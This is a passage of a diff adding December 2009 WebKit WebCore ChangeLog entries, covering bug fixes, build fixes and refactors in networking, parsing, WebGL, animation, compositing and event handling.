+        [Qt] Implement initializeMaximumHTTPConnectionCountPerHost.
+        https://bugs.webkit.org/show_bug.cgi?id=31849
+
+        Qt allows to have three connections per host on Symbian, for
+        every other platform the limit is set to six connections per
+        host but the default implementation will only schedule four
+        connections per host.
+        In a manual test we seem to get the best loading speed by
+        going with Qt's limit and schedule two more jobs to allow Qt
+        to prepare them.
+
+        * platform/network/ResourceRequestBase.cpp:
+        * platform/network/qt/ResourceRequestQt.cpp:
+        (WebCore::initializeMaximumHTTPConnectionCountPerHost):
+
+2009-12-13  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7341364> Crash at HTMLParser::popOneBlockCommon() after
+        handling misnested residual style tags
+
+        Test: fast/parser/residual-style-close-ref-clone.html
+
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::handleResidualStyleCloseTagAcrossBlocks): Gave the
+        block stack a strong reference to the cloned residual style element. 
+
+2009-12-13  Adele Peterson  <adele@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Reverting changes from http://trac.webkit.org/changeset/49585 to fix:
+        <rdar://problem/7382815> REGRESSION (4.0.4-TOT): Home photo slider is too narrow at http://www.ziprealty.com/
+        https://bugs.webkit.org/show_bug.cgi?id=32078
+
+        * css/CSSPrimitiveValue.cpp: (WebCore::CSSPrimitiveValue::cssText):
+
+2009-12-08  Jeremy Moskovich  <jeremy@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add code to allow toggling ATSUI/Core Text rendering at runtime in ComplexTextController.
+        https://bugs.webkit.org/show_bug.cgi?id=31802
+
+        The goal here is to allow for a zero runtime hit for ports that decide to select
+        the API at compile time.
+        When both USE(ATSUI) and USE(CORE_TEXT) are true, the API is toggled
+        at runtime.  Core Text is used for OS Versions >= 10.6.
+
+        No test since this is already covered by existing pixel tests.
+
+        * platform/graphics/SimpleFontData.h:  Change #ifdef to define getNSFont() on Chrome/Mac .
+        * platform/graphics/mac/ComplexTextController.cpp:
+        (WebCore::shouldUseATSUIAPI): Cache decision about which API to use.
+        (WebCore::ComplexTextController::ComplexTextRun::indexAt):
+        (WebCore::ComplexTextController::collectComplexTextRunsForCharacters): Stub function to call through
+        to ATSUI/Core text variants.
+        (WebCore::ComplexTextController::ComplexTextRun::ComplexTextRun): The actual work for object construction
+        is delegate to createTextRunFromFontDataATSUI/createTextRunFromFontDataCoreText.
+        * platform/graphics/mac/ComplexTextController.h:
+        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+        (WebCore::ComplexTextController::ComplexTextRun::overrideLayoutOperation): Small style fix.
+        (WebCore::ComplexTextController::ComplexTextRun::createTextRunFromFontDataATSUI):
+        (WebCore::ComplexTextController::collectComplexTextRunsForCharactersATSUI):
+        * platform/graphics/mac/ComplexTextControllerCoreText.cpp:
+        (WebCore::ComplexTextController::ComplexTextRun::ComplexTextRun):
+        (WebCore::ComplexTextController::ComplexTextRun::createTextRunFromFontDataCoreText):
+        (WebCore::ComplexTextController::collectComplexTextRunsForCharactersCoreText):
+
+2009-12-13  Eric Carlson  <eric.carlson@apple.com>
+
+        No review, rolling out r52059 until I can generate new Tiger
+        test results.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::mediaControllerTheme):
+
+2009-12-12  Sam Weinig  <sam@webkit.org>
+
+        Rubber-stamped by Dan Bernstein.
+
+        Fix the EXPERIMENTAL_SINGLE_VIEW_MODE build.
+
+        * Configurations/WebCore.xcconfig:
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::EventHandler):
+        (WebCore::EventHandler::clearDragState):
+        * page/mac/DragControllerMac.mm:
+        (WebCore::DragController::isCopyKeyDown):
+        * page/mac/EventHandlerMac.mm:
+        (WebCore::EventHandler::eventActivatedView):
+        * platform/PlatformKeyboardEvent.h:
+        * platform/PlatformMouseEvent.h:
+        * platform/PlatformWheelEvent.h:
+        (WebCore::PlatformWheelEvent::PlatformWheelEvent):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::wheelEvent):
+        * platform/mac/KeyEventMac.mm:
+        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
+        * platform/mac/PlatformMouseEventMac.mm:
+        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
+        * platform/mac/PopupMenuMac.mm:
+        (WebCore::PopupMenu::show):
+        * platform/mac/WidgetMac.mm:
+
+2009-12-12  Sam Weinig  <sam@webkit.org>
+
+        Rubber-stamped by Dan Bernstein.
+
+        Fix the !ENABLE(VIDEO) build.
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::requiresCompositingForVideo):
+
+2009-12-12  Sam Weinig  <sam@webkit.org>
+
+        Rubber-stamped by Dan Bernstein.
+
+        Fix the !ENABLE(DATABASE) build.
+
+        * storage/SQLTransactionClient.cpp:
+        * storage/SQLTransactionClient.h:
+        * storage/SQLTransactionCoordinator.cpp:
+        * storage/SQLTransactionCoordinator.h:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::stopLoading):
+
+2009-12-12  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <rdar://problem/6293979> Adopt shared control drawing for <video> controls on Leopard and Windows
+
+        Use MediaControllerThemeQuickTime on Leopard.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::mediaControllerTheme):
+
+2009-12-12  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Oliver Hunt.
+
+        Errors in WebGL[T]Array set() and get() methods
+        https://bugs.webkit.org/show_bug.cgi?id=32456
+
+        Test: fast/canvas/webgl/bug-32456.html
+
+        * bindings/js/JSWebGLFloatArrayCustom.cpp:
+        (WebCore::JSWebGLFloatArray::set):
+        * bindings/js/JSWebGLIntArrayCustom.cpp:
+        (WebCore::JSWebGLIntArray::set):
+        * bindings/js/JSWebGLShortArrayCustom.cpp:
+        (WebCore::JSWebGLShortArray::set):
+        * bindings/js/JSWebGLUnsignedByteArrayCustom.cpp:
+        (WebCore::JSWebGLUnsignedByteArray::set):
+        * bindings/js/JSWebGLUnsignedIntArrayCustom.cpp:
+        (WebCore::JSWebGLUnsignedIntArray::set):
+        * bindings/js/JSWebGLUnsignedShortArrayCustom.cpp:
+        (WebCore::JSWebGLUnsignedShortArray::set):
+        * bindings/v8/custom/V8WebGLArrayCustom.h:
+        (WebCore::setWebGLArray):
+        * html/canvas/WebGLFloatArray.idl:
+        * html/canvas/WebGLUnsignedIntArray.idl:
+
+2009-12-12  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Oliver Hunt.
+
+        Update WebGL tests to released versions
+        https://bugs.webkit.org/show_bug.cgi?id=32457
+
+        * manual-tests/webgl/Earth.html:
+        * manual-tests/webgl/ManyPlanetsDeep.html:
+        * manual-tests/webgl/SpinningBox.html:
+        * manual-tests/webgl/TeapotPerPixel.html:
+        * manual-tests/webgl/TeapotPerVertex.html:
+        * manual-tests/webgl/resources/CanvasMatrix.js:
+        (CanvasMatrix4.prototype.getAsWebGLFloatArray):
+        * manual-tests/webgl/resources/utils3d.js:
+        (initWebGL.gl.console.window.console.log):
+        (initWebGL):
+        (loadShader):
+        (makeBox):
+        (makeSphere):
+        (processLoadObj):
+        (doLoadObj):
+        (doLoadImageTexture):
+
+2009-12-12  Christian Dywan  <christian@twotoasts.de>
+
+        Reviewed by Dirk Schulze.
+
+        Remove the include to SVGFEDisplacementMap.h, it's not needed at all.
+
+        * platform/graphics/filters/FEComponentTransfer.h:
+
+2009-12-12  Christian Dywan  <christian@twotoasts.de>
+
+        Rubber-stamped by Maciej Stachowiak.
+
+        Only include SVGFEDisplacementMap.h if SVG is enabled.
+
+        * platform/graphics/filters/FEComponentTransfer.h:
+
+2009-12-12  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [Cairo][Qt] Alpha blending in SVG filters is wrong
+        https://bugs.webkit.org/show_bug.cgi?id=32427
+
+        This patch is a follow-up to:
+        http://trac.webkit.org/changeset/51950
+        It fixes the alpha blending for Cairo and Qt on SVG Filters.
+
+        Covered by: * LayoutTests/svg/filters/feGaussianBlur.svg
+                    * LayoutTests/svg/filters/feComposite.svg
+                     and others.
+
+        * platform/graphics/cairo/ImageBufferCairo.cpp:
+        (WebCore::ImageBuffer::platformTransformColorSpace):
+        * platform/graphics/qt/ImageBufferQt.cpp:
+        (WebCore::ImageBuffer::platformTransformColorSpace):
+
+2009-12-11  Eric Roman  <eroman@chromium.org>
+
+        Unreviewed build fix.
+
+        [V8] Add a method on ScriptController to get it compiling after http://trac.webkit.org/changeset/52033.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::anyPageIsProcessingUserGesture):
+        * bindings/v8/ScriptController.h:
+
+2009-12-11  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [V8] Change bindings to catch up with http://trac.webkit.org/changeset/52033.
+
+        * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Added retrieval of calling frame and passing
+          to the submit method.
+
+2009-12-11  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Mark Rowe.
+
+        Put -umbrella linker flag into a variable so that it can be overridden.
+
+        * Configurations/WebCore.xcconfig:
+
+2009-12-11  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        body with display:inline causes crash
+        https://bugs.webkit.org/show_bug.cgi?id=32371
+
+        Tests: fast/inline/inline-body-crash.html
+               fast/inline/inline-body-with-scrollbar-crash.html
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::createScrollbar):
+        (WebCore::FrameView::layout):
+
+2009-12-11  Brady Eidson  <beidson@apple.com>
+
+        Rubberstamped by Sam Weinig.
+
+        https://webkit.org/b/22851 - Remove defunct FIXME.
+
+        * html/HTMLPlugInElement.cpp:
+        (WebCore::HTMLPlugInElement::HTMLPlugInElement): This flag was removed completely
+          from the HTMLFrameOwnerElement chain of classes.
+
+2009-12-11  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Small refactoring to get rid of some extra unneeded selection-related work
+        in RenderLayer::scrollToOffset and separate caret and range selection
+        logic in FrameView::layout. This may be useful later when changing how
+        the range selection logic works to fix layout reentrancy problems.
+
+        * page/Frame.cpp: Removed invalidateSelection.
+        * page/Frame.h: Ditto.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout): Call SelectionController::setNeedsLayout
+        and Frame::selectionLayoutChanged instead of calling
+        Frame::invalidateSelection, which was just a function that called
+        both of those others.
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::scrollToOffset): Call
+        SelectionController::setNeedsLayout instead of calling
+        Frame::invalidateSelection. This call site only needs the caret-related
+        work in that first function, not the other work formerly done by
+        Frame::invalidateSelection. The caret works outside the normal
+        painting and rendering system, and the range selection highlight is
+        more or less inside it and doesn't need special handling when scrolling.
+
+2009-12-11  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7342725> and https://webkit.org/b/32383
+        Selecting article text at sfgate.com results in spurious back/forward entries
+
+        If an iframe had a form and that form is submitted by javascript, IE and Opera don't add back/forward entries.
+        
+        In the case where the frame was added dynamically via createElement(), Firefox would like to add a back entry
+        but has a bug that prevents this.
+
+        Therefore by a bizarre coincidence, WebKit is the loner and the only engine affected by sfgate.com's technique.
+
+        This patch changes us to willfully match IE and Opera and fixes sfgate.com in the process.
+
+        Tests: http/tests/navigation/dynamic-iframe-dynamic-form-back-entry.html
+               http/tests/navigation/parsed-iframe-dynamic-form-back-entry.html
+
+        Capture whether the form was submitted by javascript:
+        * loader/FormState.cpp:
+        (WebCore::FormState::FormState):
+        (WebCore::FormState::create):
+        * loader/FormState.h:
+        (WebCore::FormState::formSubmissionTrigger):
+
+        When deciding the value of the lockBackForwardList variable, take formSubmissionTrigger() into account:
+        * loader/RedirectScheduler.cpp:
+        (WebCore::RedirectScheduler::scheduleFormSubmission):
+
+        Rearrange the public HTMLFormElement::submit() method to be called only from DOM or JS bindings,
+        and figure out the rest of the parameters for an internal submit() call including the formSubmissionTrigger:
+        * bindings/js/JSHTMLFormElementCustom.cpp:
+        (WebCore::JSHTMLFormElement::submit):
+        * html/HTMLFormElement.cpp:
+        (WebCore::HTMLFormElement::prepareSubmit):
+        (WebCore::HTMLFormElement::submit):
+        * html/HTMLFormElement.h:
+
+2009-12-11  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32445
+        REGRESSION: http://www.mcafee.com/japan/ displays unstyled
+
+        * css/CSSImportRule.cpp:
+        (WebCore::CSSImportRule::setCSSStyleSheet):
+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::setCSSStyleSheet):
+        Add a quirk for mcafee.com/japan (http or https, with or without www).
+
+2009-12-11  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        Make PlatformWheelEvent.h private instead of project.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-12-11  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Support reflections on composited layers
+        https://bugs.webkit.org/show_bug.cgi?id=31885
+        
+        First part of supporting composited reflections on compositing layers.
+        
+        Rename the m_transformLayer member variable to m_structuralLayer, since it
+        will get used both for transform layers (for preserve-3d) and to hold a flattening
+        layer related to reflections, both of which have similar requirements, and are
+        mutually exclusive.
+
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        primaryLayer(), hostLayerForSublayers() and layerForSuperlayer() all now return
+        a CALayer, since m_structuralLayer isn't always a WebLayer.
+        
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::commitLayerChanges):
+        updateLayerPreserves3D() renamed to updateStructuralLayer()
+        
+        (WebCore::GraphicsLayerCA::updateLayerNames):
+        New "update" method for updating layer names.
+        
+        (WebCore::GraphicsLayerCA::updateSublayerList):
+        m_transformLayer -> m_structuralLayer. Also minor refactor to only
+        allocate newSublayers in one place.
+        
+        (WebCore::GraphicsLayerCA::updateLayerSize):
+        (WebCore::GraphicsLayerCA::removeAnimationFromLayer):
+        (WebCore::GraphicsLayerCA::hostLayerForSublayers):
+        (WebCore::GraphicsLayerCA::layerForSuperlayer):
+        m_transformLayer -> m_structuralLayer
+        
+        (WebCore::GraphicsLayerCA::updateStructuralLayer):
+        Call ensureStructuralLayer() which handles any deltas to the
+        structural layer type.
+        
+        (WebCore::GraphicsLayerCA::ensureStructuralLayer):
+        Handle changes to the structural layer requirements
+        
+        (WebCore::GraphicsLayerCA::structuralLayerPurpose):
+        Return an enum describing the purpose of the structural layer; for now
+        this only returns NoStructuralLayer or StructuralLayerForPreserves3D, but
+        will in future also have a value related to reflections.
+
+2009-12-11  Simon Fraser  <simon.fraser@apple.com>
+
+        Build fix for platforms where ACCELERATED_COMPOSITING is not defined.
+
+        * page/animation/KeyframeAnimation.cpp:
+        (WebCore::KeyframeAnimation::pauseAnimation):
+
+2009-12-11  Adam Roben  <aroben@apple.com>
+
+        Windows build fix
+
+        * platform/graphics/win/WKCACFLayerRenderer.cpp: Removed #include of
+        non-existent header.
+
+2009-12-11  Simon Fraser  <simon.fraser@apple.com>
+
+        Build fix, no review.
+
+        Build fix for platforms where ACCELERATED_COMPOSITING is not defined.
+
+        * page/animation/KeyframeAnimation.cpp:
+        (WebCore::KeyframeAnimation::startAnimation):
+
+2009-12-11  Simon Fraser  <simon.fraser@apple.com>
+
+        Build fix, no review.
+
+        Build fix for platforms where ACCELERATED_COMPOSITING is not defined.
+
+        * page/animation/ImplicitAnimation.cpp:
+        (WebCore::ImplicitAnimation::startAnimation):
+
+2009-12-11  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Negative values for animation-delay are ignored (treated as zero)
+        https://bugs.webkit.org/show_bug.cgi?id=26150
+        
+        When we get the m_startTime for an animation or transition, subtract any negative
+        delay so the animation/transition behaves like it started in the past, per spec.
+
+        Tests: animations/negative-delay.html
+               transitions/negative-delay.html
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::AnimationBase::updateStateMachine):
+
+2009-12-11  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Accelerated transitions broken when mixed with paused animations
+        https://bugs.webkit.org/show_bug.cgi?id=32387
+
+        Synchronization of a mixture of accelerated and software animations occurs via
+        a callback from GraphicsLayerCA, which ends up in
+        AnimationControllerPrivate::receivedStartTimeResponse(). The time passed in is
+        the exact time at which the accelerated animations started, so is used as the
+        start time for all animations and transitions which are marked as waiting.
+
+        The bug was that the callback called when re-starting animations that were
+        paused sent back an old time value, but this was used to start normal
+        transitions. Therefore the transition would start with a stale start time, and
+        thus end prematurely.
+
+        The fix is to change the way that GraphicsLayerCA handles paused animations.
+        Rather than setting the beginTime of the animation, it uses a beginTime of 0
+        and a timeOffset that gets passed down. Thus the callbacks always come with
+        beginTime for 'now'.
+
+        Also clarify the role of AnimationBase::endAnimation() by splitting it into
+        pauseAnimation() and endAnimation(), and pass down timeOffsets, rather than
+        beginTimes when starting and pausing.
+
+        Manual test only, because the bug requires a non-trivial combination of
+        animation pausing and transitions which take time, and the bug only shows in
+        pixel results.
+        
+        * manual-tests/animation/transitions-and-paused-animations.html
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::AnimationBase::updateStateMachine):
+        * page/animation/AnimationBase.h:
+        (WebCore::AnimationBase::startAnimation):
+        (WebCore::AnimationBase::pauseAnimation):
+        (WebCore::AnimationBase::endAnimation):
+        * page/animation/ImplicitAnimation.cpp:
+        (WebCore::ImplicitAnimation::~ImplicitAnimation):
+        (WebCore::ImplicitAnimation::startAnimation):
+        (WebCore::ImplicitAnimation::endAnimation):
+        (WebCore::ImplicitAnimation::onAnimationEnd):
+        * page/animation/ImplicitAnimation.h:
+        (WebCore::ImplicitAnimation::pauseAnimation):
+        * page/animation/KeyframeAnimation.cpp:
+        (WebCore::KeyframeAnimation::~KeyframeAnimation):
+        (WebCore::KeyframeAnimation::startAnimation):
+        (WebCore::KeyframeAnimation::pauseAnimation):
+        (WebCore::KeyframeAnimation::endAnimation):
+        (WebCore::KeyframeAnimation::onAnimationEnd):
+        * page/animation/KeyframeAnimation.h:
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::addAnimation):
+        (WebCore::GraphicsLayer::pauseAnimation):
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        (WebCore::GraphicsLayerCA::LayerAnimation::LayerAnimation):
+        (WebCore::GraphicsLayerCA::AnimationProcessingAction::AnimationProcessingAction):
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::addAnimation):
+        (WebCore::GraphicsLayerCA::removeAnimationsForKeyframes):
+        (WebCore::GraphicsLayerCA::pauseAnimation):
+        (WebCore::GraphicsLayerCA::updateLayerAnimations):
+        (WebCore::GraphicsLayerCA::setAnimationOnLayer):
+        (WebCore::GraphicsLayerCA::pauseAnimationOnLayer):
+        (WebCore::GraphicsLayerCA::createAnimationFromKeyframes):
+        (WebCore::GraphicsLayerCA::createTransformAnimationsFromKeyframes):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::startAnimation):
+        (WebCore::RenderLayerBacking::startTransition):
+        (WebCore::RenderLayerBacking::animationPaused):
+        * rendering/RenderLayerBacking.h:
+
+2009-12-11  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fixes <http://webkit.org/b/32399>.
+        Pan Scrolling Jumps out of frames if the initial location is in a frame that can't be scrolled.
+        
+        When we initially figure out the layer that we should begin scrolling, don't try to jump out
+        of frames/iFrames to look at the owner document. We don't want to jump out of frames, so we
+        don't need that logic anymore.
+        
+        Added a test to make sure that we don't pan scroll if we start to scroll in an empty
+        iFrame that has a scrollable owner document.
+
+        Test: platform/win/fast/events/panScroll-no-iframe-jump.html
+
+        * dom/Node.cpp:
+        (WebCore::Node::defaultEventHandler):
+
+2009-12-11  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Fixes <http://webkit.org/b/32303>.
+        Middle-mouse button not firing mousedown DOM event when autoscroll happens.
+        
+        This fix moves the pan scrolling code into Node.cpp, as part of the default event handler.
+        We get two wins out of this:
+            1) Mousedown DOM events are now fired before pan scrolling.
+            2) Calling event.preventDefault() on a middle mouse button will now prevent pan scrolling.
+        
+        Added tests to show that middle mousedown DOM events are fired when panscrolling happens, and
+        that when event.preventDefault is called, pan scrolling doesn't happen.
+
+        Tests: platform/win/fast/events/panScroll-event-fired.html
+               platform/win/fast/events/panScroll-preventDefault.html
+
+        * dom/Node.cpp:
+        (WebCore::Node::defaultEventHandler): Moved pan scrolling starting code to here.
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::startPanScrolling): Function to initialize scrolling variables and start timer.
+        (WebCore::EventHandler::handleMousePressEvent): From here.
+        * page/EventHandler.h:
+
+2009-12-11  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Delay load DLLs for accelerated compositing
+        https://bugs.webkit.org/show_bug.cgi?id=31856
+        
+        Change calls that use the data export symbols from
+        QuartzCore to use the functions in QuartzCoreInterface.
+        This allows QuartzCore to be delay loaded.
+
+        * platform/graphics/win/GraphicsLayerCACF.cpp:
+        (WebCore::GraphicsLayerCACF::GraphicsLayerCACF):
+        (WebCore::GraphicsLayerCACF::updateLayerPreserves3D):
+        (WebCore::GraphicsLayerCACF::updateContentsImage):
+        * platform/graphics/win/WKCACFLayer.cpp:
+        (WebCore::toCACFLayerType):
+        (WebCore::toCACFContentsGravityType):
+        (WebCore::fromCACFContentsGravityType):
+        (WebCore::toCACFFilterType):
+        (WebCore::fromCACFFilterType):
+        (WebCore::WKCACFLayer::create):
+        (WebCore::WKCACFLayer::WKCACFLayer):
+        (WebCore::WKCACFLayer::setContentsGravity):
+        (WebCore::WKCACFLayer::contentsGravity):
+        (WebCore::WKCACFLayer::setMagnificationFilter):
+        (WebCore::WKCACFLayer::magnificationFilter):
+        (WebCore::WKCACFLayer::setMinificationFilter):
+        (WebCore::WKCACFLayer::minificationFilter):
+        * platform/graphics/win/WKCACFLayer.h:
+        (WebCore::WKCACFLayer::):
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        (WebCore::WKCACFLayerRenderer::acceleratedCompositingAvailable):
+        (WebCore::WKCACFLayerRenderer::createRenderer):
+
+2009-12-11  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Adds an Android-specific implementation of initializeMaximumHTTPConnectionCountPerHost.
+        https://bugs.webkit.org/show_bug.cgi?id=31810
+
+        * platform/network/ResourceRequestBase.cpp: Modified. Disable default implementation
+            of initializeMaximumHTTPConnectionCountPerHost for Android.
+        * platform/network/android: Added.
+        * platform/network/android/ResourceRequestAndroid.cpp: Added.
+        (WebCore::initializeMaximumHTTPConnectionCountPerHost): Android-specific implementation.
+
+2009-12-11  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Add acceptTypes() method to FileChooser.
+        https://bugs.webkit.org/show_bug.cgi?id=32429
+
+        This method returns an 'accept' attribute value of the
+        corresponding INPUT element. A ChromeClient::runOpenPanel()
+        implementation can refer it through a FileChooser instance to
+        support type-restricted file selecting.
+
+        This makes no user-visible changes for now.
+
+        * platform/FileChooser.h:
+        (WebCore::FileChooser::acceptTypes):
+        * rendering/RenderFileUploadControl.cpp:
+        (WebCore::RenderFileUploadControl::acceptTypes):
+        * rendering/RenderFileUploadControl.h:
+
+2009-12-11  Victor Wang  <victorw@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Changed PopupMenuChromium to keep the value selected from
+        keyboard when popup is closed.
+
+        The problem is Chromium does not fire the onchange event
+        when the popup is closed if an item is selected via
+        keyboard by typing the first char of the item. This makes
+        chromium popup not having consistent behaviours and also
+        behaves differently from other major browsers.
+        Calling popup->hide() instead of popup->hidePopup() in
+        PopupMenu fixes the issues as it does extra step to check
+        whethere there is a keyboard selection changed when closing
+        the popup.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32403
+    
+        TEST: add a manual test as the current layout test shell
+        does not support sending keyboard events to popup list.
+
+        * manual-tests/chromium/select-close-popup-value-change.html: Added.
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupMenu::hide):
+
+2009-12-11  anton muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [v8] refactor WeakReferenceMap.
+        Move common bits of functionality to reduce duplication.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32389
+
+        Should be covered by buildbots.
+
+        * bindings/v8/DOMData.h:
+        (WebCore::DOMData::WrapperMapObjectRemover::visitDOMWrapper):
+        (WebCore::DOMData::handleWeakObject):
+        (WebCore::DOMData::removeObjectsFromWrapperMap):
+        * bindings/v8/DOMDataStore.cpp:
+        (WebCore::DOMDataStore::weakDOMObjectCallback):
+        (WebCore::DOMDataStore::weakActiveDOMObjectCallback):
+        (WebCore::DOMDataStore::weakNodeCallback):
+        (WebCore::DOMDataStore::weakSVGElementInstanceCallback):
+        (WebCore::DOMDataStore::weakSVGObjectWithContextCallback):
+        * bindings/v8/DOMDataStore.h:
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::visitDOMNodesInCurrentThread):
+        (WebCore::visitDOMObjectsInCurrentThread):
+        (WebCore::visitActiveDOMObjectsInCurrentThread):
+        (WebCore::visitDOMSVGElementInstancesInCurrentThread):
+        (WebCore::visitSVGObjectsInCurrentThread):
+        * bindings/v8/V8DOMMap.h:
+        (WebCore::WeakReferenceMap::removeIfPresent):
+        (WebCore::WeakReferenceMap::clear):
+        (WebCore::WeakReferenceMap::visit):
+
+2009-12-11  anton muhin  <antonm@chromium.org>
+        Reviewed by Adam Barth.
+
+        [v8] in Debug builds create an additional handle scope
+        when doing debug build checks.
+        https://bugs.webkit.org/show_bug.cgi?id=32335
+
+        Should be covered by buildbots.
+
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::convertDOMWrapperToNative):
+        (WebCore::V8DOMWrapper::convertDOMWrapperToNode):
+
+2009-12-11  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Do not use ContextMenuItem as value type in custom
+        context menu implementation.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32411
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSInspectorFrontendHostCustom.cpp:
+        (WebCore::JSInspectorFrontendHost::showContextMenu):
+        * inspector/InspectorFrontendHost.cpp:
+        (WebCore::InspectorFrontendHost::InspectorFrontendHost):
+        (WebCore::InspectorFrontendHost::~InspectorFrontendHost):
+        (WebCore::InspectorFrontendHost::showContextMenu):
+        (WebCore::InspectorFrontendHost::contextMenuCleared):
+        * inspector/InspectorFrontendHost.h:
+        (WebCore::InspectorFrontendHost::MenuProvider::create):
+        (WebCore::InspectorFrontendHost::MenuProvider::~MenuProvider):
+        (WebCore::InspectorFrontendHost::MenuProvider::disconnect):
+        (WebCore::InspectorFrontendHost::MenuProvider::populateContextMenu):
+        (WebCore::InspectorFrontendHost::MenuProvider::contextMenuCleared):
+        (WebCore::InspectorFrontendHost::MenuProvider::MenuProvider):
+        * page/ContextMenuController.cpp:
+        (WebCore::ContextMenuController::ContextMenuController):
+        (WebCore::ContextMenuController::clearContextMenu):
+        (WebCore::ContextMenuController::showContextMenu):
+        (WebCore::ContextMenuController::contextMenuItemSelected):
+        * page/ContextMenuController.h:
+        * page/ContextMenuProvider.h: Added.
+        (WebCore::ContextMenuProvider::~ContextMenuProvider):
+        * page/ContextMenuSelectionHandler.h: Removed.
+
+2009-12-11  Simon Hausmann  <hausmann@webkit.org>, Kim Grönholm  <kim.gronholm@nomovok.com>
+
+        Reviewed by Antti Koivisto.
+
+        Basic cross-platform implementation of mapping platform touch events
+        to JavaScript touch events.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32114
+
+        Test: fast/events/basic-touch-events.html
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleTouchEvent):
+        * page/EventHandler.h:
+
+2009-12-11  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's EmptyFrameLoaderClient
+        https://bugs.webkit.org/show_bug.cgi?id=32110
+
+        Inherits the following class from Noncopyable because it is
+        instantiated by 'new' and no need to be copyable:
+
+        class name              - instantiated at: WebCore/'location'
+
+        class EmptyFrameLoaderClient - svg/graphics/SVGImage.cpp:229
+
+        * loader/FrameLoaderClient.h:
+
+2009-12-11  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for 3 classes in WebCore's svg and loader directory
+        https://bugs.webkit.org/show_bug.cgi?id=32106
+
+        Inherits the following classes from Noncopyable because these are instantiated 
+        by 'new' and no need to be copyable:
+
+        class/struct name            - instantiated at: WebCore/'location'
+
+        class EmptyContextMenuClient - instantiated at: svg/graphics/SVGImage.cpp:232
+        class EmptyDragClient        - instantiated at: svg/graphics/SVGImage.cpp:237
+        class SVGImageChromeClient   - instantiated at: svg/graphics/SVGImage.cpp:243
+
+        * svg/graphics/SVGImage.cpp:
+        * loader/EmptyClients.h:
+
+2009-12-11  Benjamin Poulain  <benjamin.poulain@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        The values of RuntimeArray are not enumerable
